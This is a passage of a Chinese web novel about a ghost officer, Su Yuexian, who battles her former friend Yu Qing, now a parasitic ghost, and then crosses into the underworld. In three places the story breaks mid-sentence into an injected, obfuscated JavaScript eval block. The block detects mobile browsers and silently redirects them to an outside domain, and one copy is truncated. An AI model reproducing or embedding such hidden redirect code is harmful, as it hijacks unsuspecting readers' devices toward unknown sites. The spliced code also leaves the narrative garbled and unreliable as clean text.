落叶飘零,寒风渐起。盛家别墅门前的火堆不眠不休地燃烧着,映在女人呆滞的瞳中,成了唯一一抹亮色。她机械地往火里扔纸钱,风扬起了她枯黄的发,白衣松垮的挂在瘦削的身体上,从远处看像极了投降时摇起的白旗。 别墅拉着厚重的窗帘,隔绝了外面的世界。苏月现带着清一顺利把剩下三块阵基挖了出来,又快速将坑埋上当作什么事都没发生过。 坐在门前的女人猛然坐直了身子,她快速扭头冲他们看过来,头部近乎转了180度,也不知道脖子断没断。苏月现敏锐地感受到了这道目光,上前一步挡在了清一身前。 女人的眼皮半耸拉着,像两扇沉重的闸门,遮住了那双已经失去生机的眼睛。她的灵魂似乎被抽离出去了,只剩下一副了无生气的躯壳,行尸走肉般僵硬地坐在那里。 按照清一的说法,这女人昨晚是半个死人。如今过了整整一天,她的身体估计已经被鬼吞噬干净,现在彻底死透了。 难道是因为盛辉提前死了所以大鬼转换目标了吗? 苏月现召唤出古伞悬于身前,摆出战斗的姿态,冲着前方喊道:“别藏着了,快出来吧!” 女人的身体顿了一下,随后瞪大了眼睛,眼球几乎要凸出眼眶,从中淌出了两行血泪,蜿蜒地沿着她憔悴的面颊缓缓滑落。她下巴张得老大,似乎脱臼了,黑洞般的口腔暴露无遗,能直接看见最深的后槽牙。 一股青色的烟雾从她的七窍中缓缓冒出,又在空中聚集起来,渐渐形成了一个女人的模样。 她终于睁开了那双杏眼,眉目间皆是柔情,鸦羽般的睫毛浓密而翘,真是顾盼生辉,一双瞳仁剪秋水。 “阿月,你来啦~” “青姐姐,你怎会……” 郁青生前便是一个妩媚的女人,苏月现常说她生错了地方,与这姑苏格格不入。她应该长在浓墨重彩的长安,与那些王侯将相来场旷世奇恋,再拍拍屁股将他们甩了,开个酒楼做女首富。而不是拘于这平凡的镇子上,每日家长里短,无趣得很。 “如何?”郁青从口袋中掏出手持镜照了起来,“我这样不美吗?” “美,但你为什么会变成鬼?” “嗯——因为死了呀~” 生前的郁青嫁给了镇上最有钱的富商,理应过着顺风顺水的生活。正常死亡的人,是不会变成鬼的。 “你是怎么死的?” “这个嘛……我不记得了。”郁青耸耸肩,眸中含笑,“但这样不是挺好的吗?” 郁青对苏月现极好,知道她爱打麻将,即便忙着招呼店里的客人,也会在她缺人时来凑手。每年春日桃花开得最浓时,还会送来桃花饼供她吃。苏月现能感受得出来,她是真的把她当做了亲妹妹。 苏月现做鬼差以来,第一次心软了。她收起了伞,走上前拉住了她的手,苦口婆心的劝说:“姐姐,做寄生鬼是不对的。” “那你要我做什么?鬼差吗?我做不来的。”郁青假装生气,甩开了她的手,“你怎么这么不了解我?我干不来那些打打杀杀的事儿,小时候我连杀鱼都不敢,如今怎么敢收恶鬼呢。再说了,我也没犯错呀,是他们请我来的。” 苏月现没话说,她说的是真的。 寄生鬼这种擦边的存在,阎王至今没有颁布一条规则直接了当地将他们钉在黑名单上。这种你情我愿的交易,从各个方面来讲,都是合理的。 “那他们是怎么请你来的?” “喏。”郁青用手指指屋里,“那有个叫吴界的算命先生,他是做第三人的,是他让盛家请我来的。” 目前看来不用去抓吴界,就能知道事情的真相了。也挺好,多一事不如少一事。 这世上有种职业,名叫第三人。顾名思义,生活在三界之外的人。他们能通天晓地,上传下达,被人类称为神鬼的化身。 这种职业也不是谁都能做,要么是祖上传下来的,要么是天生灵力充沛。 吴界他家在这一行里颇有声望,属于祖辈传下来的。他一出生就开了智,十岁出山给人看相,算无遗漏。唯一的缺点就是,干这行身体会越来越差,且寿命都不长,但没有什么病痛折磨,单纯给人算命时耗费阳寿早衰而已。 据说吴界这一族,追本溯源起来,其实是上界现在某位神君的后人,是天赐的缘分,特许他们用天机在人世赚取钱财,死后还会回到天上。 盛家四十年前并不像现在这般富裕。 那时,他们还只是在京城比较有名,并没有走向整个H国。但对于一个白手起家的人来说,能在京城立足并发展,已是不易。 那时候的盛董事长与盛夫人育有一子,盛辉还在小老婆的肚子中,连形都没长成,是个胚胎。 其实盛董事长找小老婆,是盛夫人建议的。她不甘心事业止步不前,她的野心更大,她想要吞并其他企业成为行业一霸,但她又清楚的知道可能这辈子盛董事长只能到这了。 于是,她私下花了大价钱找到了吴界,他给她出了个主意:请神。 但盛夫人等不及了,她需要的是立竿见影的办法。而请神需要全家吃斋念佛、多做善事、积累佛缘最起码十年,才算请神成功。 吴界又给她出了个主意:请鬼。 他告诉盛夫人,这个方法更快,一年内就可以达到效果。但弊端是需要献祭一个人的阳寿,当鬼的养料。付出多少年寿命,就能收获多少年繁荣。 所以盛夫人让盛董事长再去找个女人,目的是让她怀孕,用肚子里的孩子换盛家百年气运。 许真真就是这时候进入盛家的,她踏进大门的那天,已是有孕之身。 那时候盛家正在为请来的鬼布置屋子,就是那个神秘的第四层黑屋。他们却告诉许真真,是在请神。 单纯的女孩信以为真,夜晚对着那间第二天准备办祭祀仪式的屋子许起了美好的愿望。 她希望,肚子里是个男孩,将来能分得盛家一些家产。她知道她身份不明,所以从不奢求她的孩子能继承正统。别人吃肉,他能分到一根骨头就是极好的。 许真真是个平淡的人。 平淡的长相、平淡的性格、平淡的愿望,是扔在人群里就会消失不见的女孩。就像她的名字一样,真真二字都是一声。她的一生没有什么波澜,唯一可以称得上惊涛拍岸的事,就是她怀上了盛董事长的孩子,进了盛家大门。盛夫人看她不像看小三,倒像妹妹,总是给她喂安胎药。趴在她的肚子上听胎心,比盛董事长还上心。为此,许真真一直是有些愧疚的,毕竟自己不道德,破坏了别人的家庭。她每天都在为盛家祈祷,期盼着这一家人都能平安健康,却唯独漏了自己和肚子里的孩子。 盛夫人没想让这孩子出生的,她千算万算,没算对祭坛搭好的夜晚郁青就被召来了,没算对许真真先对着她许下了愿望,没算对郁青对孕妇有一种特殊的情感。 郁青实现了许真真的愿望,但盛家给的实在太多,她也不好违背盛夫人的意愿,就做了个手脚。她让孩子顺利出生,却是最招鬼的至阴体质,活不了太久。 相悖的设定带来的结果是——盛辉出生了,他是个套着男人外壳的女人。 盛辉出生那日,许真真没有去医院,而是盛董事长请了医生来家里为她接生。盛家全员冷脸看着女人因疼痛而扭曲的面孔,汗水浸湿了棉质睡衣,鲜血染红了身下洁白的床单。她的手紧抓着床沿,双腿大开着挂在那里。她毫无尊严的,把自己最狼狈的一面展现在了众人面前,像飘在狂风暴雨中的一叶扁舟,始终靠不了岸。她呼喊着盛董事长的名字,男人却在接了一个电话后皱着眉离开了。这一刻,许真真才明白,他是不爱她的。那些关心与温暖都是假的,这就是一场精心筹划的骗局,无力的是她一点儿都不知道他们要做什么。 她长呼一口气,卸了力,满身滚烫的汗水刹那间冷了下来。她绝望地躺在那,如同一具冰冷的尸体。她想带着这注定不幸福的孩子离开人世,他却在这时出生了。 随着婴儿猫似的啼哭,屋外狂风骤起,暴雨如瀑般落下,水珠快速划过玻璃,留下道道如刀划过的痕迹。 盛辉带着满身业障,出生在了一个破碎的雨夜。 许真真发现盛辉喜欢玩洋娃娃和发卡王冠时天都塌了。起初她只是以为她的孩子爱好特殊,可能再长大些就好了,后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14647784|156531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她发现盛辉跟女孩儿的思想相差无几,最爱玩公主和王子的游戏,而他是唯一的公主。他还总是细声细语的吵嚷着自己的名字不好听,他不喜欢叫“辉”,那是男孩叫的,他想要一个女孩的名字。 她没想到当初朴素的愿望,竟然给自己的孩子变成了四不像。她告诉盛辉,他是个男孩,他应该喜欢他的名字,应该爱玩汽车模型和乐高拼图,应该调皮捣蛋上房揭瓦,应该跟小朋友打架而不是手拉手一起去洗手间。 盛辉不懂,但他爱他的妈妈,所以他照做。 许真真还是不忍心让盛辉失望,于是偷偷准备了一堆女孩的玩具藏在床底下。每次盛辉从幼儿园放学回家后与她玩耍的那十几分钟里,他可以做他喜欢的事情——为洋娃娃换装,往头发上别发卡,让妈妈叫他公主殿下。 许真真还在娃娃裙子的背面缝上了一个“蕙”字。这是她给盛辉取的女孩名,叫盛蕙。他喜欢这个名字,让她私下里就叫他蕙蕙。 再后来,盛辉上了小学,被盛夫人抱走抚养,她很少能见到他了。自此以后,她的世界只有屋子这二十几平米。盛家所有的宴席她都会去参加,但无人在意她。家中客人络绎不绝,但无人在意她。警方查案来问询,连下人们都问了,但无人去问她。 许真真活着,但死了。她死在那张生产的床上,不,或许她死在了爱上盛董事长的那一刻。 “所以,盛辉献祭了一百年,但他提前死了,你就要附到许真真身上,因为她是他的母体,对吗?” “阿月你真聪明。”郁青捂着嘴笑起来,“怎么样,她是不是很可怜。” 还未等苏月现回答,清一的声音先出来了。 “可怜之人必有可恨之处。”他上前一步,站在了苏月现身旁。他看她们聊了许久,终于找到了插话的时机,赶忙来一句,“许真真做小三就是不对。” “我看最可怜的是盛辉。” “不,还记得陈炳惟吗。盛辉无视员工需求,面对无良组长压榨员工无作为,这是他的罪。” “你这会儿看得倒挺清楚。”苏月现指指自己的头,“是真的动脑子了。” 清一得到了苏姐姐的表扬,瞬间感觉自己飘在了云端,得意地扬起了头。 “等等,这是谁?”郁青没好气的上下打量着清一,“我最讨厌男人。” “呃,他是只猫,叫清一。” “猫啊,你原来不是也养了一只吗?” “就是他。” “哇!居然化形了!”郁青凑上前去细细瞧着,又转到了清一身后嗅了嗅,“是个半神啊……” 下一秒,她眸光一变,瞬间成了青色,冒着诡异的光。苏月现还没反应过来,郁青那指甲暴涨的鬼手已穿透了清一的胸膛,留下一个触目惊心的空洞。 鲜血喷射而出,溅满了苏月现的脸。一抹猩红悄然滑落至她的嘴边,她伸出舌尖轻舔,浓重的血腥味汹涌而至,狂风骤雨般直冲她的感官,带来一阵难以言喻的眩晕感。 她的眼前上演了一场快速的走马灯,一幕幕与清一相处的时光频频闪过。不论是前世还是今生都交织在一起,所有的回忆在这一刻都化作了一把把刺穿她的利剑,毫无章法地刺中她的心。 清一的身子快速向前倒去,苏月现本能地伸出双手接住他。她能够感受到他的身体正在失去温度,变得冰冷僵硬。 他的生命开始倒数,他甚至来不及说道别的话。在瞳孔彻底涣散前,他的最后一眼定格在了苏月现通红的眼睛上。 他想说,苏姐姐别哭啊。 他想抬手为她擦去泪水。 但是他已经没有力气了。 苏月现极力控制住情绪,不让自己崩溃。她强装理智的将清一放到了一旁的草地上,从他的怀中掏出了传讯符,忍着被神力灼烧的痛,给凌霄捎去了一个消息。最后,她将古伞挡在清一身体前,形成了一个保护罩。除非伞碎,否则除了苏月现没人能打开。 做完这一切,她站到了郁青对面。 苏月现醒悟了,她的青姐姐已经死了几千年,早就化成了一捧黄土。现在站在她面前的,是一只恶心的寄生鬼。还不知天高地厚,伤了她的人。 真是该死啊。 8. 总裁之死(4) 郁青从发间抽出簪子,这根不起眼的木棍瞬间以撕裂空间的速度成倍增长,最终化作一根可以矗立于地面的法杖。 法杖周身环绕着黑色的怨气,顶端镶嵌着一颗绿色水晶,在黑夜中散发着瘆人的光。 郁青优雅地举起法杖,吟唱了一段旋律,周围的地面随之轻轻颤动,几个漩涡悄然出现,鬼婴们的头如同地鼠般从洞中探出。长着六根手指的小手扒着洞边,目光幽幽地盯着苏月现。 “孩子们,来——叫干妈吧~” 鬼婴们咯咯笑起来,其中一只笑得尤为开心,嘴巴裂到了耳朵根,血盆小口中的牙齿呈锯齿状,若不慎被他缠上,一口下去定是血肉模糊。 “你是婴灵师?” 这种鬼具有召唤和控制鬼婴的能力。所有还未出生就离开人世的孩子,都会成为她的傀儡。她通过操纵这些鬼婴来进行攻击,看似简单的技能,实则难缠得很。这些鬼婴打起架来毫无章法,身子又灵巧,很容易钻空子,来个突然袭击。 郁青的强度在苏月现意料之外,她的伞现在还在保护着清一,这时硬去交手的话,胜算不大。 “很聪明啊我的妹妹。” “你是怎么死的?” “难产。” “你想起来了你的死因?你刚刚在骗我。” 郁青红唇轻启,露出两排齐齐的白牙。她笑得花枝乱颤,末了还抬起手擦了擦眼角的泪。 “都死过一次的人了,怎么还不长记性呢?别人说什么你都信啊。” “嗯,因为你是青姐姐,所以我信你。” 郁青没想到苏月现还会这样说,毕竟自己刚刚伤了与她同行的人,再怎么样也该生气吧。 “我刚刚可是在那只猫身上开了个洞。你不讨厌我吗?” “嗯,我知道。我不讨厌你。” “你知道他们神的血,有多香吗?”郁青低头看着自己满是血迹的手,似乎陷入了回忆中,满脸的餍足,“哦不,他还是个半神。” 苏月现伸出一根手指,抹了一下凝固在脸上的血,放至舌尖上细细感受着:“嗯,确实香。” 郁青皱眉,没想明白她这是什么路子,难道那只猫对于她来说不重要?可是她看他的眼神…… “你是不是觉得他不会死?”郁青恶狠狠地瞪了苏月现一眼,随后又笑起来,“你错了,他只是个半神,他会死的。” 郁青说得没错,半神游离于规则之外。清一此刻仅凭残存的神魂吊着最后一口气,若凌霄不肯以一半修为为他医治,他照样会死。 “所以阿月,无论你是否保护他,他的命运已经注定。男人没有一个好东西,包括化成男人的猫。你该感谢我帮你除了他。” “不,我要保护他,我已经叫了他师傅过来把他带走。”苏月现顿了顿,声音沉下来,“我不能让他死在我手里。” 她攥紧了拳,心中想着凌霄接个人怎么这么慢。 下一秒,天边出现了一道金光,带着雷霆之势划落下来,刹那间亮如白昼。 苏月现顺势收回保护在清一身边的伞,右脚用力蹬地,身形如同离弦之箭,向郁青杀了过去。她将伞收紧,伞头处化作一支冒着黑烟的枪尖,直指郁青的喉部,意图一击毙命。 郁青反应极快,迅速召唤鬼婴为她抵挡住攻击。苏月现身体轻盈,速度惊人,她每一次挥伞,都伴随着鬼婴痛苦的嚎叫。 郁青深知自己不善近战,利用鬼婴缠住苏月现的间隙飞向了别墅的屋顶。身处高处,便于她纵观全局,操控傀儡,与其战斗。 “阿月,我好失望啊,你不是说你不讨厌我吗?”她的声音中带着几分落寞与不解。 苏月现灭掉最后一只鬼婴,身上的白裙已沾满污渍。她撕掉裙子的一角,面无表情地擦拭溅在脸上、身上以及伞尖处的血,随后拎在手中,蓝色的鬼火蜿蜒向下,吞噬了那块沁满血水的棉布。 就在刚刚与郁青战斗时,凌霄已经将清一带走了。临走前还瞥了她一眼,说要给他个解释。 苏月现专注杀傀儡,懒得分心去理他,能有什么解释,说得好像清一被伤是她故意的一样。 心疼归心疼,但错不在她身上,她不会产生任何愧疚之情。 “嗯,我不讨厌你,我只是想让你死。”苏月现仰头看着郁青,月亮清幽的光模糊了她的脸。 她再也看不清她的模样了。 “所以你可以去死吗?” 郁青怒意暴涨,她挥动法杖,苏月现周边的地瞬间下陷出几个洞来,鬼婴纷纷从漩涡中跳出,他们的头比身体大好多倍,四肢畸形,奔跑之时七扭八歪,细线般的手臂拖在地上摩擦着,留下一条血迹斑斑的路。 苏月现手起刀落,飞速灭了几只。但那洞始终存在,源源不断的鬼婴从四面八方涌来。双拳难敌四手,即便她再厉害,也受不住这伤不到你拖死你的攻势。 但这招亦有破解之法。 苏月现观察到,郁青每次最多召唤十个洞的鬼婴,再烦人的小鬼,也只会从这些洞里跳出来。 若是将这些洞同时炸开呢? “郁青,这是你的极限。” 苏月现快速杀完这一波攻上来的鬼婴,将伞打开,倒扣在地面上,伞头的枪尖扎至地里。她不再去管此刻跳到她身上的小鬼,而是将全部怨气通过伞柄注入进伞中。伞面的花纹在黑夜中亮起蓝光,土地逐渐被这力量所瓦解,裂缝从伞头一点顺着大地的脉络向外延伸,直到包含了所有出现鬼婴的洞口。 幽幽蓝光如春日的嫩芽,携着破土而生的气势,透过裂缝迸发而出。直到这整片土地被蓝光覆盖,好似重现了千年前开满喜林草的庭院。 郁青在这一刻想起了曾经她对苏月现说过的一句话—— 蓝色最衬你。 但她已经没有回头的路了,从她得知死后三个月丈夫就娶了新妇,四个月生下了子嗣,她就没有回头的路了。 郁青倾尽所有,召唤全部鬼婴,企图将她吞噬殆尽。 小鬼们如同饿狼般爬上苏月现的手臂,张开嘴就是一口,皮肉被锯齿状的牙豁开,刹那间鲜血淋漓。苏月现强忍着没叫出声,但怨气的极速流失已经让她感到阵阵眩晕,现在小鬼们又在她身上肆虐,从身体各处啃咬,痛感如潮水一般不断冲击着她的神经。她的体力逐渐耗尽,握伞的手开始颤抖。 与此同时,蓝光开始暗淡,不再像刚才那般强烈。郁青见状心中大喜,她抓住机会,从高处飞身而下,鬼气暴涨的手飞速伸向苏月现的脖子,企图将她掐死。 然而,在郁青离苏月现仅有一步之遥时,她猛地抬起头,汗水与泥土交织在她漂亮的脸上,嘴角勾起一抹嚣张的笑容。 “但这不是我的极限。” 郁青暗道不好,想要抽身而退,但为时已晚,苏月现哪能再给她一次逃离自己的机会。她将仅剩的一些怨气全部注入进左臂,那些还在啃食她□□的鬼婴瞬间化为灰烬。她一把拉住郁青法杖的一端,不属于她的鬼气缠绕在她的左臂上,疯狂的从破口处吸食她的鲜血。 苏月现似乎感受不到疼痛,仍紧紧抓着那法杖不放。郁青想弃杖而逃,但她还是决定得太晚了。 力量已注满,苏月现果断拔出古伞向后跳起,脚下的土地在怨气的冲击下炸开,尘土飞扬,巨大的黑洞犹如血盆大口,瞬间吞噬掉了所有。 郁青与她的鬼婴,全部被裹挟其中,无一逃过苏月现这全力一击。 待尘埃尽落,苏月现跳入洞底,掐住郁青的脖子将她拎到地面上。 郁青艰难地睁开眼睛,望着苏月现那双泛着蓝光的眸,突然闷声笑起来。她越笑越疯狂,直到嘴边淌下鲜血才渐渐停歇。 “告诉我,你是怎么变成鬼的。” “我说了,难产死了。” 苏月现再次掐住她的脖子,面无表情地用力,直到郁青被憋得面色通红,才缓缓松开手。 “告诉我,你是怎么变成鬼的。” 郁青双目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14647785|156531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猩红,她死死盯着苏月现,所有仇恨在这一刻倾泻而出:“我恨!我恨所有男人!他说他会一辈子都爱我!可是我才死了三个月,他就娶了一个比我小上好几岁的女人!更可恨的是,他们结婚四个月,那贱人就生子了!生子了!不过没关系,我把他们杀了,全杀了……”说到最后,她的目光变得异常凶狠。 “苏月现!你如此护着那只猫!你也会遭报应的!你也会被男人抛弃!没人喜欢你!没有会爱你!” 世上最恶毒的诅咒,是从曾经最亲密的好友口中说出的。 苏月现听着这些话语,心中涌出无尽的悲凉。 但这就是现实,她必须承认,郁青变了。 她被仇恨浸染得面目全非。 难道自己有一天也会变成这样吗?那么到时候又是谁来杀死她呢。 “啪!啪!啪!” 突兀的鼓掌声响起,苏月现顺着声音寻去,看见了一张又老又年轻的脸。 男人看起来岁数不大,但疲态尽显。他的眼底布满青影,皮肉已经松动,颓败的垂在两侧,满脸死气。 “吴界?” 男人微微一笑:“苏小姐真是好厉害,将我主家门前的地炸了这么大一个洞,让我想想,我该如何向他们解释呢?” “随你。” 吴界眯起眼,用探究的目光将苏月现从头到脚打量了一遍。 “看够了吗?”她不耐烦的皱起眉,“你们这种人,真的很讨厌。” “哎呀呀,不要这么说嘛。我跟你们是好朋友呀!” “恶心。”苏月现冲他翻了个白眼,拉住郁青的一条腿,拖牲口似的拖到了男人面前,“她我可带走了。” “诶——你怎么不杀了她呢?” 苏月现冷冷道:“我不喜欢别人对我的事情指手画脚。” “怎么还生气了?苏小姐气性真大,我就是问问嘛~” “要不是因为你们签订着契约,你觉得我会问你吗?” “她活着,契约仍然奏效。” “许真真已经死了。” “那盛家还有别人呀,比如……现在躺在医院的盛董事长。母体死了,就得去找他父亲呀。” “那她要是死了呢?” “她死了,自然是解约了。” “我知道了。”苏月现看了一眼痛得已经昏迷的郁青,冷哼一声,“她不会死的。” 自郁青用怨气伤了清一后,屋外就刮起了诡异的狂风,吹得窗户咣当咣当响。 吴界仍闭眼坐在棺材边,老僧入定般一动不动。但盛夫人坐不住了。 他曾告诉她,今夜会有一场大战,来吊唁的客人要么早归,要么留宿,总之夜晚不要出门。 盛夫人按照他的指示,将来不及回去的客人全部都安顿好了,自己却怎么都睡不着。 大战……该不是那鬼找她索命来了吧。 她这样想着,轻声走到窗边,想要拉开窗帘看一眼。 吴界却在这时出了声:“盛夫人,你要做什么?” “我,我就是好奇,看看,看看。” 这人神奇得很,明明闭着眼怎么还知道她在做什么? “若你要是死了,我可不管。” 盛夫人瞬间怂了,双手在衣摆处上下搓搓,弯着腰准备离开。 “您害怕了?”吴界说完睁开眼睛,直勾勾地望向那张愈发苍老的脸,“您怕什么呢?” 盛夫人颤抖着说:“那,那鬼……” “鬼是来找许真真的,与您无关呐。” “可是……” “盛夫人。”吴界站起身,握住她被吓得冰凉的手,扶上了窗帘,“既然您这么好奇,那便看一看吧。” 女人拼了命的摇头,但吴界怎会乖乖听她的话,执着的拉开了窗帘。 “啊——” 盛夫人尖叫出声,目光落在窗外,除了风大些,什么都没有。 “盛夫人,鬼在心里呀。” 9.鬼差的休假日记(1) 苏月现买了建房纸后一次都没回过下界,虽然她在这有处阎王给鬼差发放的房子,但她不常住,平时在人间漂泊,风里来雨里去,哪有那么多时间过躺平的日子。 不过他们那个鬼差社区群,天天有鬼在里面发言。要么说停水了要么让修修楼道里的灯,还有两户因为交的物业费不一样在群里吵起来了。苏月现很无语,下界到底有谁啊,怎么天天都能住在家里呢,不出门工作吗? 下界常年没有阳光照耀,一年四季都是一个温度,阴冷又潮湿。唯有挂满星星的天空和漫山遍野的红色彼岸花值得为之停留。 苏月现拎着郁青走到奈何桥的西口,等着渡河的亡魂排成了长队,最长那列都排到黄泉路了。他们个个头破血流,丧着个脸,还有个别几个等得不耐烦了,嘴里一直叭叭着:今天真够倒霉的,投个胎都这么慢。 今日的人间到底发生了什么?一夜之间竟死了这么多人。 苏月现撇撇嘴,不知道孟婆熬汤的火够不够旺,这一人一碗要喝到什么时候。那个特别容易emo的老婆婆,是不是又一边哭一边搅拌。 过了一会儿,一群穿着黑斗篷的死神带着他们专有的名片薄来到了岸边。看得出,这场事故过于惨烈,有些亡魂都没来得及确认身份就到了下界。 苏月现没想利用职权直接坐船渡河,老老实实在那排着队。 “诶,你干嘛的?怎么还拎着一个人?叫什么名字?我这名薄里咋没有跟你俩长得一样的死者呢?” 一位死神对着她一阵吆五喝六,苏月现瞟了一眼他额间的印记——白色,心中了然。 死神部门有他们独特的额间印记,这是实习死神的颜色,正式工是红色,领导层是黑色。大家可凭借印记和这些颜色辨认死神的身份。 死神原先的标志是他们统一穿的黑斗篷,然而在大前年,有位员工的斗篷掉了,还被别有用心的恶鬼捡了去,并装作死神的样子去人间杀人。等抓住他的时候,已经平白无故死了五个人。 阎王知道后大怒,当即扣掉了死神部门当月30%冥币以表惩罚。他们的领导层紧急提议在每个员工的额间增加印花并按颜色区分层级,这样既能准确分辨身份,又不会被冒名顶替。 自那之后,所有的死神都会有额间印花,连实习生都不例外。 苏月现抬起小臂凑到他眼前,腕中的身份证明亮着幽幽蓝光。 这是阎罗殿鬼差的标记,身份证明的颜色根据各自的技能来变幻。 可惜实习生并不知道这一点,没给她一个多余的眼神,不耐烦地说:“诶诶诶,别整这没用的!我不想看你的夜光手表啊!说名字!” 苏月现的火气瞬间被他的态度点燃,刚想跟他理论一下,后方就响起了激烈的吵架声。 “我说了我今天工作特别忙,咱们先在家吃饭,周末再出门吃!我也烦,我也想早点回家跟你过节!你不听!现在好了!出车祸了你满意了!” “王杰,你有没有良心啊!是你很早就说了结婚一周年纪念日要带我去吃西餐的,你不守信用,没有履行承诺,你还埋怨起我来了?!” 说完,女孩就开始呜呜哭起来,脸上本来凝固的血,被泪水打湿又开始流起来,有种说不出的诡异。 “吃吃吃!就知道吃!现在好了!都死了你满意了!” 男孩说到最后也红了眼眶,扭过头去偷偷抹了一把泪,又转身抱住了女孩:“好啦宝贝,别哭啦,脸都哭花了。” 说罢,他低头亲吻了她的脸颊,并没有嫌弃那满脸的血:“下辈子我们还在一起。” 大家被这悲伤的情绪所感染,都开始呜呜咽咽地哭起来,跟身边的亲人爱人朋友互诉爱意。 “都别吵了啊!这是公共场所!不允许大声喧哗啊!”刚才盘问苏月现的实习生顾不上她了,赶忙走过去控制场面,“都别哭了!都死了!事实改变不了了!” 死神与鬼差不同,他们一旦与阎王签订契约就要断情绝爱,不带一丝怜悯的引领人类走向死亡。 有经验的死神虽然不懂亡魂们的情感,但会用话术去安抚他们的心。这位实习生显然毫无经验,他这样的强压对于这些人来说是绝对没有用的。 苏月现摇了摇头,心想照这架势,过八百年也到不了阎罗殿。 摆渡翁眯着眼,口中哼着不知哪个地方的小曲,慢悠悠地摇着桨往岸边划着。他是这一片的船长,日常工作就是监管船只是否正常运作,河面是否拥堵,以及跟死神们协调好渡河的亡魂数量。 别看他眯着眼,但视力极好,耳力也极好,老远就看见了等着渡河的苏月现,对她态度不好的死神,以及岸边亡魂的吵吵闹闹。 摆渡翁悄声上岸,绕到了苏月现身后,默默道:“等着渡河啊。” 苏月现被吓了一激灵,猛得回头看去,原来是熟人的脸,强硬地按住了拔伞的欲望。 老头注意到了她习惯性的动作,笑着说:“哟,想跟我打架啊。” “别开玩笑了阿翁,我打不过您。” 摆渡翁待在下届的时间比如今的阎王还长,是数一数二的高手。据说他出一招,能掀翻整个忘川河。 “忘川今天怎么这么多亡魂,看来人间有大事故啊。死神那边没人了,连实习生都放出来了啊。” “嗯,今天周末,人们都出门玩。好几个大城市连环车祸,死了好些人。”摆渡翁摇摇头,感叹道,“真是阎王要你三更死,绝不留你到五更。” “您这么说,我一会儿可就告诉他了。” “别啊!小苏,你怎么这么欠儿呢。” 苏月现看着老头吃瘪的样子,心情极好:“您说您都多久没来摇船啦~今天都让您出马了!” 摆渡翁摇摇头,拍了拍苏月现的肩:“我可是怕你在这等太久,特意来接你的。喏,船在这边停着呢,上来吧!” “太谢谢您啦,等下次我去人间给您捎好酒啊。” 苏月现拎着郁青上了船,摆渡翁解了拴在岸边桩子上的绳,用桨使劲往外推了两下,船才开始缓缓向前行驶。 苏月现实在累极了,靠在一边就闭上了眼。心中盘算着回去先把郁青关到狱里,再跟阎王请个假,这次一定要好好休息一段时间了…… 老头见她在休息,便开始不急不缓地划着桨,让船行驶得更加平稳。 奈何桥有四个口都可以排队坐船,但忘川河只有一个岸能到达孟婆所在的地方。 因此,亡魂的初筛是由这些摆渡人来做的。他们要凭借亡魂在忘川中映出的影子来判断,此人是否可以去喝孟婆汤转世。一些穷凶极恶之人,会直接被送往阎罗殿,由阎王亲自审判入狱,赎完罪才可入轮回。 忘川河很长,长到能够看完人的一生。忘川河很清,清到一切罪恶都无所遁形。渡河之人,听多了世上的忏悔与求饶,见证了无数人性的复杂与多面。 他们是把握下界秩序的第一道关卡。 苏月现没想到自己睡着了,她转醒时,发觉自己正处于河中央。 摆渡翁听见了动静,一脸慈爱的看着她:“小苏,醒啦。” 苏月现点点头,赶忙起身去探郁青的鼻息,还好,还活着。 她的伤太重,这一路走来,全靠苏月现给她输怨气支撑。这一睡,连接必然断掉了…… “是我给她输的。” 苏月现松了口气,疲惫笑笑:“谢谢您啊。” “她杀了活人啊。” “嗯。” “那你怎么没把她杀了。” “她去做寄生鬼了……那家人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是啊,当时的阎王把我关进了地狱里。他说让我好好看看这些赎罪的人,每天都在经历什么,就知道我做的事情有多愚蠢了。地狱……太苦了。我一刀把他杀死,他就不用经历这些苦楚了。但是受害者的家属呢,他们会日复一日地承受着亲人离世的痛苦,这种情感会捆绑他们的一生。” “随心所欲固然很好,但是有规则才有秩序。让大家都能回到各自的位置上去,承担自己应该承担的责任。” 摆渡翁讲着这些,苏月现却因那句“日复一日地承受亲人离世的痛苦”想起来了受重伤的清一。 摆渡翁看出了她的走神,并不着急,温和地问:“小苏,你在想什么?” “一个朋友。” “不会还是那位朋友吧。” “他受了重伤,好像是因为我。” “那你现在什么感受?” “嗯——愧疚、心痛、自责,这些都有。但是很奇怪,我明白这并不怪我。是他自己不小心才能让别人伤到。但是……为什么我还是会不由自主地这么想呢?” “因为有感情。” “难道是亲情吗,或者友情……我们也算不上啊。” “感情有很多种啊,那刚刚在岸边吵架的情侣,你怎么看?” “都很矫情。” “但爱情就是矫情啊,与对错无关。因为男生曾经跟女生说过纪念日要出来吃饭,女生就放在心上啦。但是到了日子男生不履行承诺,女生当然会生气。又因为她生气了,男生想让她消气最终还是出来吃饭了。这就是爱情啊。” “那这样说,就是那男生有错。明明答应了,为什么还要毁约。如果爱情是这样的,这就是给自己徒增烦恼,我宁愿不要。” 苏月现不能理解这些弯弯绕绕,她没恢复全记忆,但大概能猜到上辈子是没谈过恋爱的,现在看来这辈子也不会有。 船不知在何时已经漂到了岸边,隐约能看见远处阎罗殿巍峨的影子。 